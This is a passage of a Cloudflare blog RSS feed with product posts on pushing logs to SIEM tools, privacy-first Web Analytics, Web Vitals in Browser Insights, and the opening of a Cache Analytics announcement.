</i><b><i>John Coyle</i></b><i>, Vice President of Business Development for Sumo Logic</i></p></blockquote><blockquote><p><i>"Knowing that applications perform as well in the real world as they do in the datacenter is critical to ensuring great digital experiences. Combining Cloudflare Logs with Datadog telemetry about application performance in a single pane of glass ensures teams will have a holistic view of their application delivery."— </i><b><i>Michael Gerstenhaber</i></b><i>, Sr. Director of Product, Datadog</i></p></blockquote>
    <div>
      <h3>Why Cloudflare Logs?</h3>
      <a href="#why-cloudflare-logs">
        
      </a>
    </div>
    <p>Cloudflare’s mission is to help build a better Internet. We do that by providing a massive global network that protects and accelerates our customers’ infrastructure. Because traffic flows across our network before reaching our customers, it means we have a unique vantage point into that traffic. In many cases, we have visibility that our customers don’t have — whether we’re telling them about the performance of our cache, the malicious HTTP requests we drop at our edge, a spike in L3 data flows, the performance of their origin, or the CPU used by their serverless applications.</p><p>To provide this ability, we have analytics throughout our dashboard to help customers understand their network traffic, firewall, cache, load balancer, and much more. We also provide alerts that can tell customers when they see an <a href="https://support.cloudflare.com/hc/en-us/articles/360037465932-Preventing-site-downtime">increase in errors</a> or <a href="https://support.cloudflare.com/hc/en-us/articles/360053216191-Understanding-Cloudflare-DDoS-alerts">spike in DDoS activity</a>.</p><p>But some customers want more than what we currently provide with our analytics products. Many of our enterprise customers use SIEMs like Splunk and Sumo Logic or cloud monitoring tools like Datadog. These products can extend the capabilities of Cloudflare by showcasing Cloudflare data in the context of customers’ other infrastructure and providing advanced functionality on this data.</p><p>To understand how this works, consider a typical L7 DDoS attack against one of our customers.  Very commonly, an attack like this might originate from a small number of IP addresses and a customer might choose to block the source IPs completely. After blocking the IP addresses, customers may want to:</p><ul><li><p>Search through their Logs to see all the past instances of activity from those IP addresses.</p></li><li><p>Search through Logs from all their <i>other</i> applications and infrastructure to see all activity from those IP addresses</p></li><li><p>Understand exactly what that attacker was trying to do by looking at the request payload <a href="/encrypt-waf-payloads-hpke/">blocked in our WAF</a> (securely encrypted thanks to HPKE!)</p></li><li><p>Set an alert for similar activity, to be notified if something similar happens again</p></li></ul><p>All these are made possible using SIEMs and infrastructure monitoring tools. For example, our customer <a href="https://www.nov.com/">NOV</a> uses Splunk to “monitor our network and applications by alerting us to various anomalies and high-fidelity incidents".</p><p>“One of the most valuable sources of data is Cloudflare,” said John McLeod, Chief Information Security Officer at NOV. “It provides visibility into network and application attacks. With this integration, it will be easier to get Cloudflare Logs into Splunk, saving my team time and money."</p>
    <div>
      <h3>A new UI for our growing product base</h3>
      <a href="#a-new-ui-for-our-growing-product-base">
        
      </a>
    </div>
    <p>With so many new data sets and new destinations, we realized that our existing user interface was not good enough. We went back to the drawing board to design a more intuitive user experience to help you quickly and easily set up Logpush.</p><p>You can still set up Logpush in the same place in the dashboard, in the Analytics &gt; Logs tab:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5AES3xPpjBsHstUB9GTNZ/9366b94403f1a7ccaffec49f4dc934e9/pasted-image-0.png" />
            
            </figure><p>The new UI first prompts users to select the data set to push. Here you’ll also notice that we’ve added support for Firewall Events and NEL Reports!</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2K4h9OgfdEV2N2XZeNBlri/bb434300e654ec0df3b412c0b7531568/pasted-image-0--1-.png" />
            
            </figure><p>After configuring details like which fields to push, customers can then select where the Logs are going. Here you can see our three new destinations, S3-compatible storage, Sumo Logic, Datadog and Splunk:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5zIqKJNKCX5xvDPlTYvHCT/cf085b64f93668bf17f7d0e5483729cf/pasted-image-0--2-.png" />
            
            </figure>
    <div>
      <h3>Coming soon</h3>
      <a href="#coming-soon">
        
      </a>
    </div>
    <p>Of course, we’re not done yet! We have more Cloudflare products in the pipeline and more destinations planned where customers can send their Logs. Additionally, we’re working on adding more flexibility to our logging pipeline so that customers can configure to send Logs for the entire account, plus filter Logs to just send error codes, for example.</p><p>Ultimately, we want to make working with Cloudflare Logs as useful as possible -- on Cloudflare itself! We’re working to help customers solve their performance and security challenges with data at massive scale. If that sounds interesting, please join us! We’re hiring <a href="https://boards.greenhouse.io/cloudflare/jobs/2103918?gh_jid=2103918">Systems Engineers</a> for the Data team.</p> ]]></content:encoded>
            <category><![CDATA[Logs]]></category>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[SIEM]]></category>
            <guid isPermaLink="false">4F41qDZp0Rgt5waBQBrT67</guid>
            <dc:creator>Bharat Nallan Chakravarthy</dc:creator>
            <dc:creator>Jon Levine</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare’s privacy-first Web Analytics is now available for everyone]]></title>
            <link>https://blog.cloudflare.com/privacy-first-web-analytics/</link>
            <pubDate>Wed, 09 Dec 2020 14:00:00 GMT</pubDate>
            <description><![CDATA[ Anyone can now sign up to use Cloudflare’s new privacy-first Web Analytics -- even without changing your DNS settings. ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/25pB5MsR1eyYvY58YhkPxw/900a51f7c607e14192fe4f0f2d2f135d/image1-19.png" />
            
            </figure><p>In September, we announced that <a href="/free-privacy-first-analytics-for-a-better-web/">we’re building a new, free Web Analytics product</a> for the whole web. Today, I’m excited to announce that <a href="https://dash.cloudflare.com/sign-up/web-analytics">anyone can now sign up</a> to use our new Web Analytics — even without changing your DNS settings. In other words, Cloudflare Web Analytics can now be deployed by adding an HTML snippet (in the same way many other popular web analytics tools are) making it easier than ever to use privacy-first tools to understand visitor behavior.</p>
    <div>
      <h3>Why does the web need another analytics service?</h3>
      <a href="#why-does-the-web-need-another-analytics-service">
        
      </a>
    </div>
    <p>Popular analytics vendors have business models driven by ad revenue. Using them implies a bargain: they track visitor behavior and create buyer profiles to retarget your visitors with ads; in exchange, you get free analytics.</p><p>At Cloudflare, our mission is to help build a better Internet, and part of that is to deliver essential web analytics to everyone with a website, without compromising user <a href="https://www.cloudflare.com/learning/privacy/what-is-data-privacy/">privacy</a>. For free. We’ve never been interested in tracking users or selling advertising. <b>We don’t want to know what you do on the Internet — it’s not our business.</b></p><p>Our customers have long relied on Cloudflare’s Analytics because we’re accurate, fast, and privacy-first. In September we released a big upgrade to analytics for our existing customers that made them even more flexible.</p><p>However, we know that there are many folks who can’t use our analytics, simply because they’re not able to onboard to use the rest of Cloudflare for Infrastructure — specifically, they’re not able to change their DNS servers. Today, we’re bringing the power of our analytics to the whole web. By adding a simple HTML snippet to your website, you can start measuring your web traffic — similar to other popular analytics vendors.</p>
    <div>
      <h3>What can I do with Cloudflare Web Analytics?</h3>
      <a href="#what-can-i-do-with-cloudflare-web-analytics">
        
      </a>
    </div>
    <p>We’ve worked hard to make our analytics as powerful and flexible as possible — while still being fast and easy to use.</p><p>When measuring analytics about your website, the most common questions are “how much traffic did I get?” and “how many people visited?” We answer this by measuring <i>page views</i> (the total number of times a page view was loaded) and <i>visits</i> (the number of times someone landed on a page view from another website).</p><p>With Cloudflare Web Analytics, it’s easy to switch between measuring page views or visits. Within each view, you can see top pages, countries, device types and referrers.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/01mU7sl8xCQ3pP1fe9VZn2/f8135de455dd717bad1ffaac5bfeeda5/pasted-image-0.png" />
            
            </figure><p>My favorite thing is the ability to add global filters, and to quickly drill into the most important data with actions like “zoom” and “group by”. Say you publish a new blog post, and you want to see the top sites that send you traffic right after you email your subscribers about it. It’s easy to <i>zoom</i> into the time period when you hit the email, and <i>group by</i> to see the top pages. Then you can add a filter to just that page — and then finally view top referrers for that page. It’s magic!</p><div></div><p>Best of all, our analytics is free. We don’t have limits based on the amount of traffic you can send it. Thanks to our <a href="/explaining-cloudflares-abr-analytics">ABR technology</a>, we can serve accurate analytics for websites that get anywhere from one to one billion requests per day.</p>
    <div>
      <h3>How does the new Web Analytics work?</h3>
      <a href="#how-does-the-new-web-analytics-work">
        
      </a>
    </div>
    <p>Traditionally, Cloudflare Analytics works by measuring traffic at our edge. This has some great benefits; namely, it catches all traffic, even from clients that block JavaScript or don’t load HTML. At the edge, we can also block bots, add protection from our WAF, and measure the performance of your origin server.</p><p>The new Web Analytics works like most other measurement tools: by tracking visitors on the client. We’ve long had client-side measuring tools with <a href="/start-measuring-web-vitals-with-browser-insights/">Browser Insights</a>, but these were only available to orange-cloud users (i.e. Cloudflare customers).</p><p>Today, for the first time, anyone can get access to our client-side analytics — even if you don’t use the rest of Cloudflare. Just add our JavaScript snippet to any website, and we can start collecting metrics.</p>
    <div>
      <h3>How do I sign up?</h3>
      <a href="#how-do-i-sign-up">
        
      </a>
    </div>
    <p>We’ve worked hard making our onboarding as simple as possible.</p><p>First, enter the name of your website. It’s important to use the domain name that your analytics will be served on — we use this to filter out any unwanted “spam” analytics reports.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/XjIEkobcvWHcrENt77KSq/04b30ba73d499a4c9e5791459fcbdd81/unnamed-1.png" />
            
            </figure><p>(At this time, you can only add analytics from one website to each Cloudflare account. In the coming weeks we’ll add support for multiple analytics properties per account.)</p><p>Next, you’ll see a script tag that you can copy onto your website. We recommend adding this just before the closing  tag on the pages you want to measure.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7CZt8jqsbIRzu5GpxUFHCH/b17ebfcaeea9a27e7fe87c96a304e048/unnamed--1-.png" />
            
            </figure><p>And that’s it! After you release your website and start getting visits, you’ll be able to see them in analytics.</p>
    <div>
      <h3>What does privacy-first mean?</h3>
      <a href="#what-does-privacy-first-mean">
        
      </a>
    </div>
    <p>Being privacy-first means we don’t track individual users for the purposes of serving analytics. We don’t use any client-side state (like <a href="https://www.cloudflare.com/learning/privacy/what-are-cookies/">cookies</a> or localStorage) for analytics purposes. Cloudflare also doesn’t track users over time via their IP address, User Agent string, or any other immutable attributes for the purposes of displaying analytics — we consider “fingerprinting” even more intrusive than cookies, because users have no way to opt out.</p><p>The concept of a “visit” is key to this approach. Rather than count unique IP addresses, which would require storing state about what each visitor does, we can simply count the number of page views that come from a different site. This provides a perfectly usable metric that doesn’t compromise on privacy.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/69wGBAX13TWBfl7FbZSbqz/726bb3e66a65858fe6104a020e32054a/image2-17.png" />
            
            </figure>
    <div>
      <h3>What’s next</h3>
      <a href="#whats-next">
        
      </a>
    </div>
    <p>This is just the start for our privacy-first Analytics. We’re excited to integrate more closely with the rest of Cloudflare, and give customers even more <a href="/enhancing-privacy-focused-web-analytics-to-better-meet-your-metrics-needs/">detailed stats</a> about performance and security (not just traffic.) We’re also hoping to make our analytics even more powerful as a standalone product by building support for alerts, real-time updates, and more.</p><p>Please let us know if you have any questions or feedback, and happy measuring!</p> ]]></content:encoded>
            <category><![CDATA[Privacy Week]]></category>
            <category><![CDATA[Analytics]]></category>
            <category><![CDATA[Privacy]]></category>
            <category><![CDATA[Free]]></category>
            <guid isPermaLink="false">ZdyOXOoakHGmX9EocguIE</guid>
            <dc:creator>Jon Levine</dc:creator>
        </item>
        <item>
            <title><![CDATA[Free, privacy-first analytics for a better web]]></title>
            <link>https://blog.cloudflare.com/free-privacy-first-analytics-for-a-better-web/</link>
            <pubDate>Tue, 29 Sep 2020 13:02:00 GMT</pubDate>
            <description><![CDATA[ We’re announcing a brand new, privacy-first analytics service that’s open to everyone — even if they're not already a Cloudflare customer. And if you're a Cloudflare customer, we've enhanced our analytics to make them even more powerful than before. ]]></description>
            <content:encoded><![CDATA[ <p>Everyone with a website needs to know some basic facts about their website: what pages are people visiting? Where in the world are they? What other sites sent traffic to <i>my</i> website?</p><p>There are “free” analytics tools out there, but they come at a cost: not money, but your users’ privacy. Today we’re announcing a brand new, privacy-first analytics service that’s open to everyone — even if they're not already a Cloudflare customer. And if you're a Cloudflare customer, we've enhanced our analytics to make them even more powerful than before.</p>
    <div>
      <h3>The most important analytics feature: Privacy</h3>
      <a href="#the-most-important-analytics-feature-privacy">
        
      </a>
    </div>
    <p>The most popular analytics services available were built to help ad-supported sites sell more ads. But, a lot of websites don’t have ads. So if you use those services, you're giving up the privacy of your users in order to understand how what you've put online is performing.</p><p>Cloudflare's business has never been built around tracking users or selling advertising. We don’t want to know what you do on the Internet — it’s not our business. So we wanted to build an analytics service that gets back to what really matters for web creators, not necessarily marketers, and to give web creators the information they need in a simple, clean way that doesn't sacrifice their visitors' privacy. And giving web creators these analytics shouldn’t depend on their use of Cloudflare’s infrastructure for performance and security. (More on that in a bit.)</p><p>What does it mean for us to make our analytics “privacy-first”? Most importantly, it means we don’t need to track individual users over time for the purposes of serving analytics. We don’t use any client-side state, like cookies or localStorage, for the purposes of tracking users. And we don’t “fingerprint” individuals via their IP address, User Agent string, or any other data for the purpose of displaying analytics. (We consider fingerprinting even more intrusive than cookies, because users have no way to opt out.)</p>
    <div>
      <h3>Counting visits without tracking users</h3>
      <a href="#counting-visits-without-tracking-users">
        
      </a>
    </div>
    <p>One of the most essential stats about any website is: “how many people went there”? Analytics tools frequently show counts of “unique” visitors, which requires tracking individual users by a cookie or IP address.</p><p>We use the concept of a <i>visit</i>: a privacy-friendly measure of how people have interacted with your website. A visit is defined simply as a successful page view that has an <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer">HTTP referer</a> that doesn’t match the hostname of the request. This tells you how many times people came to your website and clicked around before navigating away, but doesn’t require tracking individuals.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6aMryeUUOgKqESxu82af0O/6243969bf95178cb1a6b87a2932033a4/image1-25.png" />
            
            </figure><p>A visit has slightly different semantics from a “unique”, and you should expect this number to differ from other analytics tools.</p>
    <div>
      <h3>All of the details, none of the bots</h3>
      <a href="#all-of-the-details-none-of-the-bots">
        
      </a>
    </div>
    <p>Our analytics deliver the most important metrics about your website, like page views and visits. But we know that an essential analytics feature is <i>flexibility:</i> the ability to add arbitrary filters, and slice-and-dice data as you see fit. Our analytics can show you the top hostnames, URLs, countries, and other critical metrics like status codes. You can filter on any of these metrics with a click and see the whole dashboard update.</p><p>I’m especially excited about two features in our time series charts: the ability to drag-to-zoom into a narrower time range, and the ability to “group by” different dimensions to see data in a different way. This is a super powerful way to drill into an anomaly in traffic and quickly see what’s going on. For example, you might notice a spike in traffic, zoom into that spike, and then try different groupings to see what contributed the extra clicks. A GIF is worth a thousand words:</p><div></div>
<br /><p>And for customers of our <a href="https://www.cloudflare.com/products/bot-management/">Bot Management product</a>, we’re working on the ability to detect (and remove) automated traffic. Coming very soon, you’ll be able to see which bots are reaching your website -- with just a click, <a href="https://developers.cloudflare.com/firewall/cf-dashboard/create-edit-delete-rules/">block them by using Firewall Rules</a>.</p><p>This is all possible thanks to our ABR analytics technology, which enables us to serve analytics very quickly for websites large and small. Check out our <a href="/explaining-cloudflares-abr-analytics">blog post</a> to learn more about how this works.</p>
    <div>
      <h3>Edge or Browser analytics? Why not both?</h3>
      <a href="#edge-or-browser-analytics-why-not-both">
        
      </a>
    </div>
    <p>There are two ways to collect web analytics data: at the edge (or on an origin server), or in the client using a JavaScript beacon.</p><p>Historically, Cloudflare has collected analytics data at our <i>edge</i>. This has some nice benefits over traditional, client-side analytics approaches:</p><ul><li><p>It’s more accurate because you don’t miss users who block third-party scripts, or JavaScript altogether</p></li><li><p>You can see all of the traffic back to your origin server, even if an HTML page doesn’t load</p></li><li><p>We can detect (and block) bots, apply Firewall rules, and generally scrub traffic of unwanted noise</p></li><li><p>You can measure the performance of your origin server</p></li></ul><p>More commonly, most web analytics providers use client-side measurement. This has some benefits as well:</p><ul><li><p>You can understand performance as your <i>users</i> see it -- e.g. how long did the page actually take to render</p></li><li><p>You can detect errors in client-side JavaScript execution</p></li><li><p>You can define custom event types emitted by JavaScript frameworks</p></li></ul><p>Ultimately, we want our customers to have the best of both worlds. We think it’s really powerful to get web traffic numbers directly from the edge. We also <a href="/introducing-browser-insights/">launched Browser Insights</a> a year ago to augment our existing edge analytics with more performance information, and today Browser Insights are taking a big step forward by <a href="/start-measuring-web-vitals-with-browser-insights">incorporating Web Vitals metrics</a>.</p><p>But, we know not everyone can modify their DNS to take advantage of Cloudflare’s edge services. That’s why today we’re announcing a free, standalone analytics product for everyone.</p>
    <div>
      <h3>How do I get it?</h3>
      <a href="#how-do-i-get-it">
        
      </a>
    </div>
    <p>For existing Cloudflare customers on our Pro, Biz, and Enterprise plans, just go to your Analytics tab! Starting today, you’ll see a banner to opt-in to the new analytics experience. (We plan to make this the default in a few weeks.)</p><p>But when building privacy-first analytics, we realized it’s important to make this accessible even to folks who don’t use Cloudflare today. You’ll be able to use Cloudflare’s web analytics even if you can’t change your DNS servers -- just add our JavaScript, and you’re good to go.</p><p>We’re still putting on the finishing touches on our JavaScript-based analytics, but you can <a href="https://www.cloudflare.com/web-analytics">sign up here</a> and we’ll let you know when it’s ready.</p>
    <div>
      <h3>The evolution of analytics at Cloudflare</h3>
      <a href="#the-evolution-of-analytics-at-cloudflare">
        
      </a>
    </div>
    <p>Just over a year ago, Cloudflare’s analytics consisted of a simple set of metrics: cached vs uncached data transfer, or how many requests were blocked by the Firewall. Today we provide flexible, powerful analytics across all our products, including <a href="/updates-to-firewall-analytics/">Firewall</a>, <a href="/introducing-cache-analytics/">Cache</a>, <a href="/introducing-load-balancing-analytics/">Load Balancing</a> and <a href="/announcing-network-analytics/">Network traffic</a>.</p><p>While we’ve been focused on building analytics <i>about</i> our products, we realized that our analytics are also powerful as a <i>standalone</i> product. Today is just the first step on that journey. We have so much more planned: from real-time analytics, to ever-more performance analysis, and even allowing customers to add custom events.</p><p>We want to hear what you want most out of analytics — drop a note in the comments to let us know what you want to see next.</p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[Analytics]]></category>
            <category><![CDATA[Privacy]]></category>
            <guid isPermaLink="false">OxChymPRVCEO9EYbDncJ5</guid>
            <dc:creator>Jon Levine</dc:creator>
        </item>
        <item>
            <title><![CDATA[Start measuring Web Vitals with Browser Insights]]></title>
            <link>https://blog.cloudflare.com/start-measuring-web-vitals-with-browser-insights/</link>
            <pubDate>Tue, 29 Sep 2020 13:00:00 GMT</pubDate>
            <description><![CDATA[ We're partnering with the Google Chrome team to bring Web Vitals measurements into Browser Insights. Web Vitals are a new set of metrics to help web developers and website owners measure and understand load time, responsiveness, and visual stability. ]]></description>
            <content:encoded><![CDATA[ <p>Many of us at Cloudflare obsess about how to make websites faster. But to improve performance, you have to measure it first. Last year we <a href="/introducing-browser-insights/">launched Browser Insights</a> to help our customers measure web performance from the perspective of end users.</p><p>Today, we're partnering with the Google Chrome team to bring <a href="https://web.dev/vitals/">Web Vitals</a> measurements into Browser Insights. Web Vitals are a new set of metrics to help web developers and website owners measure and understand load time, responsiveness, and visual stability. And with Cloudflare’s Browser Insights, they’re easier to measure than ever – and it’s free for anyone to collect data from the whole web.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5u0Dj7AlTqiV3EsJAmwi20/fd59c94ef7fd135389b99a84e2960158/pasted-image-0-1.png" />
            
            </figure>
    <div>
      <h3>Why do we need Web Vitals?</h3>
      <a href="#why-do-we-need-web-vitals">
        
      </a>
    </div>
    <p>When trying to understand performance, it’s tempting to focus on the metrics that are easy to measure — like Time To First Byte (TTFB). While TTFB and similar metrics are important to understand, we’ve learned that they don’t always tell the whole story.</p><p>Our partners on the Google Chrome team have tackled this problem by breaking down user experience into three components:</p><ul><li><p><i>Loading</i>: How long did it take for content to become available?</p></li><li><p><i>Interactivity:</i> How responsive is the website when you interact with it?</p></li><li><p><i>Visual stability</i>: How much does the page move around while loading? (I think of this as the inverse of “jankiness”)</p></li></ul>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6GxuB1CKyGcwtw0LfZZJXb/bd24960a7870a5d399036b1a28b97954/pasted-image-0--1-.png" />
            
            </figure><p>This <a href="https://web.dev/vitals/">image</a> is reproduced from work created and <a href="https://developers.google.com/terms/site-policies">shared by Google</a> and used according to terms described in the <a href="https://creativecommons.org/licenses/by/4.0/">Creative Commons 4.0 Attribution License</a>.</p><p>It’s challenging to create a single metric that captures these high-level components. Thankfully, the folks at Google Chrome team have thought about this, and earlier this year introduced three “Core” Web Vitals metrics:  <a href="https://web.dev/lcp/">Largest Contentful Paint</a>,  <a href="https://web.dev/fid/">First Input Delay</a>, and <a href="https://web.dev/cls/">Cumulative Layout Shift</a>.</p>
    <div>
      <h3>How do Web Vitals help make your website faster?</h3>
      <a href="#how-do-web-vitals-help-make-your-website-faster">
        
      </a>
    </div>
    <p>Measuring the <a href="https://www.cloudflare.com/learning/performance/what-are-core-web-vitals/">Core Web Vitals</a> isn’t the end of the story. Rather, they’re a jumping off point to understand what factors impact a website’s performance. Web Vitals tells you <i>what</i> is happening at a high level, and other more detailed metrics help you understand <i>why</i> user experience could be slow.</p><p>Take loading time, for example. If you notice that your Largest Contentful Paint score is “needs improvement”, you want to dig into what is taking so long to load! Browser Insights still measures <a href="https://developer.mozilla.org/en-US/docs/Web/API/Navigation_timing_API#:~:text=The%20Navigation%20Timing%20API%20provides,much%20more%20accurate%20and%20reliable.">navigation timing</a> metrics like DNS lookup time and TTFB. By analyzing these metrics in turn, you might want to dig further into <a href="/introducing-cache-analytics/">optimizing cache hit rates</a>, tuning the performance of your origin server, or tweaking order in which resources like JavaScript and CSS load.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2QZ7nIb1RbMrWmdqP8uP26/daa8c99bd630f19dafab7887b1246f01/pasted-image-0--2-.png" />
            
            </figure><p>For more information about improving web performance, check out Google’s guides to improving <a href="https://web.dev/optimize-lcp/">LCP</a>, <a href="https://web.dev/optimize-fid/">FID</a>, and <a href="https://web.dev/optimize-cls/">CLS</a>.</p>
    <div>
      <h3>Why measure Web Vitals with Cloudflare?</h3>
      <a href="#why-measure-web-vitals-with-cloudflare">
        
      </a>
    </div>
    <p>First, we think that RUM (Real User Measurement) is a critical companion to synthetic measurement. While you can always try a few page loads on your own laptop and see the results, gathering data from real users is the only way to take into account real-life device performance and network conditions.</p><p>There are other great RUM tools out there. Google’s <a href="https://developers.google.com/web/tools/chrome-user-experience-report">Chrome User Experience Report</a> (CrUX) collects data about the entire web and makes it available through tools like <a href="https://developers.google.com/speed/pagespeed/insights/">Page Speed Insights</a> (PSI), which combines synthetic and RUM results into useful diagnostic information.</p><p>One major benefit of Cloudflare’s Browser Insights is that it updates constantly; new data points are available shortly after seeing a request from an end-user. The data in the Chrome UX Report is a 28-day rolling average of aggregated metrics, so you need to wait until you can see changes reflected in the data.</p><p>Another benefit of Browser Insights is that we can measure any browser — not just Chrome. As of this writing, the APIs necessary to report Web Vitals are only supported in <a href="https://en.wikipedia.org/wiki/Chromium_(web_browser)">Chromium browsers</a>, but we'll support Safari and Firefox when they implement those APIs.</p><p>Finally, Brower Insights is free to use! We’ve worked really hard to make our analytics blazing fast for websites with any amount of traffic. We’re excited to support slicing and grouping by URL, Browser, OS, and Country, and plan to support several more dimensions soon.</p>
    <div>
      <h3>Push a button to start measuring</h3>
      <a href="#push-a-button-to-start-measuring">
        
      </a>
    </div>
    <p>To start using Browser Insights, just head over to the Speed tab in the dashboard. Starting today, Web Vitals metrics are now available for everyone!</p><p>Behind the scenes, Browser Insights works by inserting a JavaScript "beacon" into HTML pages. You can control where the beacon loads if you only want to measure specific pages or hostnames. If you’re using CSP version 3, we’ll even automatically detect the nonce (if present) and add it to the script.</p>
    <div>
      <h3>Where we’ve been, and where we're going</h3>
      <a href="#where-weve-been-and-where-were-going">
        
      </a>
    </div>
    <p>We've been really proud of the success of Browser Insights. We've been hard at work over the last year making lots of improvements — for example, we've made the dashboard <a href="/explaining-cloudflares-abr-analytics/">fast and responsive (and still free!) even for the largest websites</a>.</p><p>Coming soon, we’re excited to make this available for all our Web Analytics customers — even those who <a href="https://www.cloudflare.com/web-analytics/">don’t use Cloudflare today</a>. We’re also hard at work adding much-requested features like client-side error reporting, and diagnostics tools to make it easier to understand where to improve.</p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[Analytics]]></category>
            <category><![CDATA[Browser Insights]]></category>
            <category><![CDATA[Performance]]></category>
            <guid isPermaLink="false">3MJITE7vvxSGkGfZae9n5J</guid>
            <dc:creator>Jon Levine</dc:creator>
        </item>
        <item>
            <title><![CDATA[Introducing Cache Analytics]]></title>
            <link>https://blog.cloudflare.com/introducing-cache-analytics/</link>
            <pubDate>Tue, 16 Jun 2020 19:28:00 GMT</pubDate>
            <description><![CDATA[ Cache Analytics gives you deeper exploration capabilities into Cloudflare’s content delivery services, making it easier than ever to improve the performance and economics of serving your website to the world. ]]></description>
            <content:encoded><![CDATA[ <p>Today, I’m delighted to announce Cache Analytics: a new tool that gives deeper exploration capabilities into what Cloudflare’s caching and content delivery services are doing for your web presence.</p><p>Caching is the most effective way to improve the performance and economics of serving your website to the world. Unsurprisingly, customers consistently ask us how they can optimize their cache performance to get the most out of Cloudflare.</p><p>With Cache Analytics, it’s easier than ever to learn how to speed up your website, and reduce traffic sent to your origin. Some of my favorite capabilities include:</p><ul><li><p>See what resources are missing from cache, expired, or never eligible for cache in the first place</p></li><li><p>Slice and dice your data as you see fit: filter by hostnames, or see a list of top URLs that miss cache</p></li><li><p>Switch between views of requests and data Transfer to understand both performance and cost</p></li></ul>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6stMyGTJsZvF3WxgPuGxoF/1be704ee786f7c5dd57cc6691160d523/image6-5.png" />
            
            </figure><p>An overview of Cache Analytics</p><p><b>Cache Analytics is available today for all customers on our Pro, Business, and Enterprise plans.</b></p><p>In this blog post, I’ll explain why we built Cache Analytics and how you can get the most out of it.</p>
    <div>
      <h2>Why do we need analytics focused on caching?</h2>
      <a href="#why-do-we-need-analytics-focused-on-caching">
        
      </a>
    </div>
    <p>If you want to scale the delivery of a <a href="https://www.cloudflare.com/solutions/ecommerce/optimization/">fast, high-performance website</a>, then caching is critical. Caching has two main goals:</p><p>First, caching improves <b>performance</b>. Cloudflare data centers are within 100ms of 90% of the planet; putting your content in Cloudflare’s cache gets it <i>physically</i> closer to your customers and visitors, meaning that visitors will see your website <i>faster</i> when they request it! (Plus, reading assets on our edge SSDs is really fast, rather than waiting for origins to generate a response.)</p><p>Second, caching helps <b>reduce bandwidth costs</b> associated with operating a presence on the Internet**.** Origin data transfer is one of the biggest expenses of running a web service, so serving content out of Cloudflare’s cache can significantly reduce costs incurred by origin infrastructure.</p><p>Because it’s not safe to cache all content (we wouldn’t want to cache your bank balance by default), Cloudflare relies on customers to tell us what’s safe to cache with <a href="https://support.cloudflare.com/hc/en-us/articles/115003206852-Understanding-Origin-Cache-Control">HTTP Cache-Control headers</a> and <a href="https://support.cloudflare.com/hc/en-us/articles/360021023712-Best-Practices-Speed-up-your-Site-with-Custom-Caching-via-Cloudflare-Page-Rules">page rules</a>. But even with page rules, it can be hard to understand what’s actually getting cached — or more importantly, what’s <i>not</i> getting cached, and why. Is a resource expired? Or was it even eligible for cache in the first place?</p>
    <div>
      <h2>Faster or cheaper? Why not both!</h2>
      <a href="#faster-or-cheaper-why-not-both">
        
      </a>
    </div>
    <p>Cache Analytics was designed to help users understand how Cloudflare’s cache is performing, but it can also be used as a general-purpose analytics tool. Here I’ll give a quick walkthrough of the interface.</p><p>First, at the top-left, you should decide if you want to focus on <i>requests</i> or <i>data transfer.</i></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6E4TiwJwvHQDMIs0EmsRvG/1ea6de8628f937dfaa2430763e983313/image2-6.png" />
            
            </figure><p>Cache Analytics enables you to toggle between views of requests and data transfer.</p><p>As a general rule, <i>requests</i> (the default view) is more useful for understanding <i>performance</i>, because every request that misses cache results in a performance hit. Data transfer is useful for understanding <i>cost</i>, because most hosts charge for every byte that leaves their network — every gigabyte served by Cloudflare translates into money saved at the origin.</p><p>You can always toggle between these two views while keeping filters enabled.</p>
    <div>
      <h2>A filter for every occasion</h2>
      <a href="#a-filter-for-every-occasion">
        
      </a>
    </div>
    <p>Let’s say you’re focused on improving the performance of a specific subdomain on your zone. Cache Analytics allows flexible <i>filtering</i> of the data that’s important to you:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2iIzRLv4XmL8o4nmtKGzH4/7ada286de0c7a0877557ff1f1cffc431/image4-2.png" />
            
            </figure><p>Cache Analytics enables flexible filtering of data.</p><p>Filtering is essential for zooming in on the chunk of traffic that you’re most interested in. You can filter by cache status, hostname, path, content type, and more. This is helpful, for example, if you’re trying to reduce data transfer for a specific subdomain, or are trying to tune the performance of your HTML pages.</p>
    <div>
      <h2>Seeing the big picture</h2>
      <a href="#seeing-the-big-picture">
        
      </a>
    </div>
    <p>When analyzing traffic patterns, it’s essential to understand how things change over time. Perhaps you just applied a configuration change and want to see the impact, or just launched a big sale on your <a href="https://www.cloudflare.com/ecommerce/">e-commerce site</a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1qAzVrLDsOjvybzVUIipiB/b37687b061cab69c20ef747dc0a56d1e/image5-4.png" />
            
